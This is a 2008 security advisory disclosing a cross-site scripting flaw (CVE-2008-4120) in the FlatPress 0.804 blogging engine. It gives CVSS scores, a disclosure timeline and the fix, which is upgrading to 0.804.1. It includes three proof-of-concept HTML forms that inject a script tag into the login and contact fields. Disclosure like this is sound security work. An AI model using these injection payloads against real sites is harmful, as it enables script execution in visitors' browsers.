Cross Site Scripting (XSS) Vulnerabilitiy in flatpress 0.804, CVE-2008-4120

2008.10.02
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Cross Site Scripting (XSS) Vulnerabilitiy in flatpress 0.804, CVE-2008-4120 References http://www.datensalat.eu/~fabian/cve/CVE-2008-4120-flatpress.html http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4120 http://www.flatpress.org/ Description FlatPress is an open-source standard-compliant multi-lingual extensible blogging engine which does not require a DataBase Management System to work. Example Assuming flatpress is installed on http://localhost/flatpress/, anybody could inject JavaScript: <form method="post" action="http://localhost/flatpress/login.php"> <input type="text" name="user" value='"><script>alert(1)</script>'> <input type=submit></form> <form method="post" action="http://localhost/flatpress/login.php"> <input type="text" name="pass" value='"><script>alert(1)</script>'> <input type=submit></form> <form method="post" action="http://localhost/flatpress/contact.php"> <input type="text" name="name" value='"><script>alert(1)</script>'> <input type=submit></form> Workaround/Fix Update to 0.804.1. Disclosure Timeline 2008-09-25 Vendor contacted 2008-09-25 Vendor released 0.804.1 2008-09-25 Published advisory CVE Information The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2008-4120 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org/), which standardizes names for security problems. Credits and copyright This vulnerability was discovered by Fabian Fingerle (published with help from Hanno Boeck [0]). It's licensed under the creative commons attribution license [1]. Fabian Fingerle, 2008-09-25, http://www.fabian-fingerle.de [0] http://www.hboeck.de [1] http://creativecommons.org/licenses/by/3.0/de/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.9 (GNU/Linux) iEYEARECAAYFAkjbvDoACgkQ/aNqCatBq4UWIACfXqxzKt+/XlXn5XzKMUaUhkx4 axIAoKykTYMc/Prs9uhu4R5b71b/VSvQ =sv2L -----END PGP SIGNATURE-----

References:

http://www.securityfocus.com/archive/1/archive/1/496740/100/0/threaded
http://www.flatpress.org/home/comments.php?entry=entry080925-180744
http://www.datensalat.eu/~fabian/cve/CVE-2008-4120-flatpress.html


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